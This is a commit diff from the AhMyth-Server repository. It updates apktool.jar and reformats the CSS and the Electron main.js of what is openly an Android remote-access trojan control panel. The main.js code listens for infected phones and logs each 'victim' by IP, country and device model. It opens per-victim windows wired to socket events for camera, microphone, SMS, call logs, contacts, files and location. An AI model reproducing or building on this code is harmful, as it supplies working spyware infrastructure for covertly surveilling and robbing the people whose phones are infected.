Преглед на файлове

Update apktool to fix aapt error

Mahi-Uddin Zihad преди 6 години
родител
ревизия
d0e5b7863b
променени са 3 файла, в които са добавени 237 реда и са изтрити 231 реда
  1. BIN
      AhMyth-Server/app/app/Factory/apktool.jar
  2. 38 39
      AhMyth-Server/app/app/assets/css/mystyle.css
  3. 199 192
      AhMyth-Server/app/main.js

BIN
AhMyth-Server/app/app/Factory/apktool.jar


+ 38 - 39
AhMyth-Server/app/app/assets/css/mystyle.css

@@ -1,138 +1,137 @@
 .full {
-    height: 100%;
-    width: 100%;
+  height: 100%;
+  width: 100%;
 }
 
 .h100 {
-    height: 100%;
+  height: 100%;
 }
 
 .h5 {
-    height: 5%;
+  height: 5%;
 }
 
 .h10 {
-    height: 10%;
+  height: 10%;
 }
 
 .h15 {
-    height: 15%;
+  height: 15%;
 }
 
 .h90 {
-    height: 90%;
+  height: 90%;
 }
 
 .h95 {
-    height: 95%;
+  height: 95%;
 }
 
 ::-webkit-scrollbar {
-    display: none;
+  display: none;
 }
 
 .h20 {
-    height: 20%;
+  height: 20%;
 }
 
 .h30 {
-    height: 30%;
+  height: 30%;
 }
 
 .h25 {
-    height: 25%;
+  height: 25%;
 }
 
 .h40 {
-    height: 40%;
+  height: 40%;
 }
 
 .h50 {
-    height: 50%;
+  height: 50%;
 }
 
 .h60 {
-    height: 60%;
+  height: 60%;
 }
 
 .h65 {
-    height: 65%;
+  height: 65%;
 }
 
 .h70 {
-    height: 70%;
+  height: 70%;
 }
 
 .h75 {
-    height: 75%;
+  height: 75%;
 }
 
 .h80 {
-    height: 80%;
+  height: 80%;
 }
 
 .h85 {
-    height: 85%;
+  height: 85%;
 }
 
 .w30 {
-    width: 30%;
+  width: 30%;
 }
 
 .w40 {
-    width: 40%;
+  width: 40%;
 }
 
 .w50 {
-    width: 50%;
+  width: 50%;
 }
 
 .w60 {
-    width: 60%;
+  width: 60%;
 }
 
 .w65 {
-    width: 65%;
+  width: 65%;
 }
 
 .w70 {
-    width: 70%;
+  width: 70%;
 }
 
 .w90 {
-    width: 90%;
+  width: 90%;
 }
 
 .w100 {
-    width: 100%;
+  width: 100%;
 }
 
 .border {
-    border: 1px solid black;
+  border: 1px solid black;
 }
 
 .highlight {
-    background-color: #9E9E9E;
+  background-color: #9E9E9E;
 }
 
-body,
-html {
-    padding: 0px 10px;
+body, html {
+  padding: 0px 10px;
 }
 
 .nopadding {
-    padding: 0px;
+  padding: 0px;
 }
 
 .log {
-    font-size: 12px;
-    font-family: Courier New, Courier, monospace
+  font-size: 12px;
+  font-family: Courier New, Courier, monospace
 }
 
 .draggable {
-    -webkit-app-region: drag;
+  -webkit-app-region: drag;
 }
 
 .notDraggable {
-    -webkit-app-region: no-drag;
-}
+  -webkit-app-region: no-drag;
+}

+ 199 - 192
AhMyth-Server/app/main.js

@@ -15,80 +15,84 @@ var IO;
 function createWindow() {
 
 
-    // get Display Sizes ( x , y , width , height)
-    display = electron.screen.getPrimaryDisplay();
-
-
-
-    //------------------------SPLASH SCREEN INIT------------------------------------
-    // create the splash window
-    let splashWin = new BrowserWindow({
-        width: 600,
-        height: 400,
-        frame: false,
-        transparent: true,
-        icon: __dirname + '/app/assets/img/icon.png',
-        type: "splash",
-        alwaysOnTop: true,
-        show: false,
-        position: "center",
-        resizable: false,
-        toolbar: false,
-        fullscreen: false
-    });
-
-
-    // load splash file
-    splashWin.loadURL('file://' + __dirname + '/app/splash.html');
-
-    splashWin.webContents.on('did-finish-load', function() {
-        splashWin.show(); //close splash
-    });
-
-
-    // Emitted when the window is closed.
-    splashWin.on('closed', () => {
-        // Dereference the window object
-        splashWin = null
-    })
-
-
-    //------------------------Main SCREEN INIT------------------------------------
-    // Create the browser window.
-    win = new BrowserWindow({
-        icon: __dirname + '/app/assets/img/icon.png',
-        width: 800,
-        height: 600,
-        show: false,
-        resizable: false,
-        position: "center",
-        toolbar: false,
-        fullscreen: false,
-        transparent: true,
-        frame: false
-    });
-
-    win.loadURL('file://' + __dirname + '/app/index.html');
-    //open dev tools
-    //win.webContents.openDevTools()
-
-    // Emitted when the window is closed.
-    win.on('closed', () => {
-        // Dereference the window object, usually you would store windows
-        // in an array if your app supports multi windows, this is the time
-        // when you should delete the corresponding element.
-        win = null
-    })
-
-    // Emitted when the window is finished loading.
-    win.webContents.on('did-finish-load', function() {
-        setTimeout(() => {
-            splashWin.close(); //close splash
-            win.show(); //show main
-        }, 2000);
-
-
-    });
+  // get Display Sizes ( x , y , width , height)
+  display = electron.screen.getPrimaryDisplay();
+
+
+
+  //------------------------SPLASH SCREEN INIT------------------------------------
+  // create the splash window
+  let splashWin = new BrowserWindow({
+    width: 600,
+    height: 400,
+    frame: false,
+    transparent: true,
+    icon: __dirname + '/app/assets/img/icon.png',
+    type: "splash",
+    alwaysOnTop: true,
+    show: false,
+    position: "center",
+    resizable: false,
+    toolbar: false,
+    fullscreen: false,
+    webPreferences: {
+      nodeIntegration: true
+    }
+  });
+
+
+  // load splash file
+  splashWin.loadURL('file://' + __dirname + '/app/splash.html');
+
+  splashWin.webContents.on('did-finish-load', function () {
+    splashWin.show(); //close splash
+  });
+
+
+  // Emitted when the window is closed.
+  splashWin.on('closed', () => {
+    // Dereference the window object
+    splashWin = null
+  })
+
+
+  //------------------------Main SCREEN INIT------------------------------------
+  // Create the browser window.
+  win = new BrowserWindow({
+    icon: __dirname + '/app/assets/img/icon.png',
+    width: 800,
+    height: 600,
+    show: false,
+    resizable: false,
+    position: "center",
+    toolbar: false,
+    fullscreen: false,
+    transparent: true,
+    frame: false,
+    webPreferences: {
+      nodeIntegration: true
+    }
+  });
+
+  win.loadURL('file://' + __dirname + '/app/index.html');
+  //open dev tools
+  //win.webContents.openDevTools()
+
+  // Emitted when the window is closed.
+  win.on('closed', () => {
+    // Dereference the window object, usually you would store windows
+    // in an array if your app supports multi windows, this is the time
+    // when you should delete the corresponding element.
+    win = null
+  })
+
+  // Emitted when the window is finished loading.
+  win.webContents.on('did-finish-load', function () {
+    setTimeout(() => {
+      splashWin.close(); //close splash
+      win.show(); //show main
+    }, 2000);
+  });
 }
 
 
@@ -100,19 +104,19 @@ app.on('ready', createWindow)
 
 // Quit when all windows are closed.
 app.on('window-all-closed', () => {
-    // On macOS it is common for applications and their menu bar
-    // to stay active until the user quits explicitly with Cmd + Q
-    if (process.platform !== 'darwin') {
-        app.quit()
-    }
+  // On macOS it is common for applications and their menu bar
+  // to stay active until the user quits explicitly with Cmd + Q
+  if (process.platform !== 'darwin') {
+    app.quit()
+  }
 })
 
 app.on('activate', () => {
-    // On macOS it's common to re-create a window in the app when the
-    // dock icon is clicked and there are no other windows open.
-    if (win === null) {
-        createWindow()
-    }
+  // On macOS it's common to re-create a window in the app when the
+  // dock icon is clicked and there are no other windows open.
+  if (win === null) {
+    createWindow()
+  }
 })
 
 
@@ -123,126 +127,129 @@ app.on('activate', () => {
 
 // fired when start listening
 // It will be fired when AppCtrl emit this event
-ipcMain.on('SocketIO:Listen', function(event, port) {
-
-    IO = io.listen(port);
-    IO.sockets.pingInterval = 10000;
-    IO.sockets.on('connection', function(socket) {
-        // Get victim info
-        var address = socket.request.connection;
-        var query = socket.handshake.query;
-        var index = query.id;
-        var ip = address.remoteAddress.substring(address.remoteAddress.lastIndexOf(':') + 1);
-        var country = null;
-        var geo = geoip.lookup(ip); // check ip location
-        if (geo)
-            country = geo.country.toLowerCase();
-
-        // Add the victim to victimList
-        victimsList.addVictim(socket, ip, address.remotePort, country, query.manf, query.model, query.release, query.id);
-
-
-        //------------------------Notification SCREEN INIT------------------------------------
-        // create the Notification window
-        let notification = new BrowserWindow({
-            frame: false,
-            x: display.bounds.width - 280,
-            y: display.bounds.height - 78,
-            show: false,
-            width: 280,
-            height: 78,
-            resizable: false,
-            toolbar: false
-        });
-
-        // Emitted when the window is finished loading.
-        notification.webContents.on('did-finish-load', function() {
-            notification.show();
-            setTimeout(function() { notification.destroy() }, 3000);
-        });
-
-        notification.webContents.victim = victimsList.getVictim(index);
-        notification.loadURL('file://' + __dirname + '/app/notification.html');
-
-
-
-        //notify renderer proccess (AppCtrl) about the new Victim
-        win.webContents.send('SocketIO:NewVictim', index);
-
-        socket.on('disconnect', function() {
-            // Decrease the socket count on a disconnect
-            victimsList.rmVictim(index);
-
-            //notify renderer proccess (AppCtrl) about the disconnected Victim
-            win.webContents.send('SocketIO:RemoveVictim', index);
-
-            if (windows[index]) {
-                //notify renderer proccess (LabCtrl) if opened about the disconnected Victim
-                BrowserWindow.fromId(windows[index]).webContents.send("SocketIO:VictimDisconnected");
-                //delete the window from windowsList
-                delete windows[index]
-            }
-        });
+ipcMain.on('SocketIO:Listen', function (event, port) {
+
+  IO = io.listen(port);
+  IO.sockets.pingInterval = 10000;
+  IO.sockets.on('connection', function (socket) {
+    // Get victim info
+    var address = socket.request.connection;
+    var query = socket.handshake.query;
+    var index = query.id;
+    var ip = address.remoteAddress.substring(address.remoteAddress.lastIndexOf(':') + 1);
+    var country = null;
+    var geo = geoip.lookup(ip); // check ip location
+    if (geo)
+      country = geo.country.toLowerCase();
+
+    // Add the victim to victimList
+    victimsList.addVictim(socket, ip, address.remotePort, country, query.manf, query.model, query.release, query.id);
+
+
+    //------------------------Notification SCREEN INIT------------------------------------
+    // create the Notification window
+    let notification = new BrowserWindow({
+      frame: false,
+      x: display.bounds.width - 280,
+      y: display.bounds.height - 78,
+      show: false,
+      width: 280,
+      height: 78,
+      resizable: false,
+      toolbar: false,
+      webPreferences: {
+        nodeIntegration: true
+      }
+    });
 
+    // Emitted when the window is finished loading.
+    notification.webContents.on('did-finish-load', function () {
+      notification.show();
+      setTimeout(function () { notification.destroy() }, 3000);
     });
 
-});
+    notification.webContents.victim = victimsList.getVictim(index);
+    notification.loadURL('file://' + __dirname + '/app/notification.html');
 
 
-//handle the Uncaught Exceptions
-process.on('uncaughtException', function(error) {
 
-    if (error.code == "EADDRINUSE") {
-        win.webContents.send('SocketIO:Listen', "Address Already in Use");
-    } else {
-        electron.dialog.showErrorBox("ERROR", JSON.stringify(error));
-    }
+    //notify renderer proccess (AppCtrl) about the new Victim
+    win.webContents.send('SocketIO:NewVictim', index);
+
+    socket.on('disconnect', function () {
+      // Decrease the socket count on a disconnect
+      victimsList.rmVictim(index);
+
+      //notify renderer proccess (AppCtrl) about the disconnected Victim
+      win.webContents.send('SocketIO:RemoveVictim', index);
+
+      if (windows[index]) {
+        //notify renderer proccess (LabCtrl) if opened about the disconnected Victim
+        BrowserWindow.fromId(windows[index]).webContents.send("SocketIO:VictimDisconnected");
+        //delete the window from windowsList
+        delete windows[index]
+      }
+    });
+
+  });
 
 });
 
 
+//handle the Uncaught Exceptions
+process.on('uncaughtException', function (error) {
 
-// Fired when Victim's Lab is opened
-ipcMain.on('openLabWindow', function(e, page, index) {
-    //------------------------Lab SCREEN INIT------------------------------------
-    // create the Lab window
-    let child = new BrowserWindow({
-        icon: __dirname + '/app/assets/img/icon.png',
-        parent: win,
-        width: 600,
-        height: 650,
-        darkTheme: true,
-        transparent: true,
-        resizable: false,
-        frame: false
-
-    })
-
-    //add this window to windowsList
-    windows[index] = child.id;
-    //child.webContents.openDevTools();
-
-    // pass the victim info to this victim lab
-    child.webContents.victim = victimsList.getVictim(index).socket;
-    child.loadURL('file://' + __dirname + '/app/' + page)
-
-    child.once('ready-to-show', () => {
-        child.show();
-    });
+  if (error.code == "EADDRINUSE") {
+    win.webContents.send('SocketIO:Listen', "Address Already in Use");
+  } else {
+    electron.dialog.showErrorBox("ERROR", JSON.stringify(error));
+  }
 
-    child.on('closed', () => {
-        delete windows[index];
-        //on lab window closed remove all socket listners
-        if (victimsList.getVictim(index).socket) {
-            victimsList.getVictim(index).socket.removeAllListeners("x0000ca"); // camera
-            victimsList.getVictim(index).socket.removeAllListeners("x0000fm"); // file manager
-            victimsList.getVictim(index).socket.removeAllListeners("x0000sm"); // sms
-            victimsList.getVictim(index).socket.removeAllListeners("x0000cl"); // call logs
-            victimsList.getVictim(index).socket.removeAllListeners("x0000cn"); // contacts
-            victimsList.getVictim(index).socket.removeAllListeners("x0000mc"); // mic
-            victimsList.getVictim(index).socket.removeAllListeners("x0000lm"); // location
-        }
-    })
+});
 
 
+
+// Fired when Victim's Lab is opened
+ipcMain.on('openLabWindow', function (e, page, index) {
+  //------------------------Lab SCREEN INIT------------------------------------
+  // create the Lab window
+  let child = new BrowserWindow({
+    icon: __dirname + '/app/assets/img/icon.png',
+    parent: win,
+    width: 600,
+    height: 650,
+    darkTheme: true,
+    transparent: true,
+    resizable: false,
+    frame: false,
+    webPreferences: {
+      nodeIntegration: true
+    }
+  })
+
+  //add this window to windowsList
+  windows[index] = child.id;
+  //child.webContents.openDevTools();
+
+  // pass the victim info to this victim lab
+  child.webContents.victim = victimsList.getVictim(index).socket;
+  child.loadURL('file://' + __dirname + '/app/' + page)
+
+  child.once('ready-to-show', () => {
+    child.show();
+  });
+
+  child.on('closed', () => {
+    delete windows[index];
+    //on lab window closed remove all socket listners
+    if (victimsList.getVictim(index).socket) {
+      victimsList.getVictim(index).socket.removeAllListeners("x0000ca"); // camera
+      victimsList.getVictim(index).socket.removeAllListeners("x0000fm"); // file manager
+      victimsList.getVictim(index).socket.removeAllListeners("x0000sm"); // sms
+      victimsList.getVictim(index).socket.removeAllListeners("x0000cl"); // call logs
+      victimsList.getVictim(index).socket.removeAllListeners("x0000cn"); // contacts
+      victimsList.getVictim(index).socket.removeAllListeners("x0000mc"); // mic
+      victimsList.getVictim(index).socket.removeAllListeners("x0000lm"); // location
+    }
+  })
 });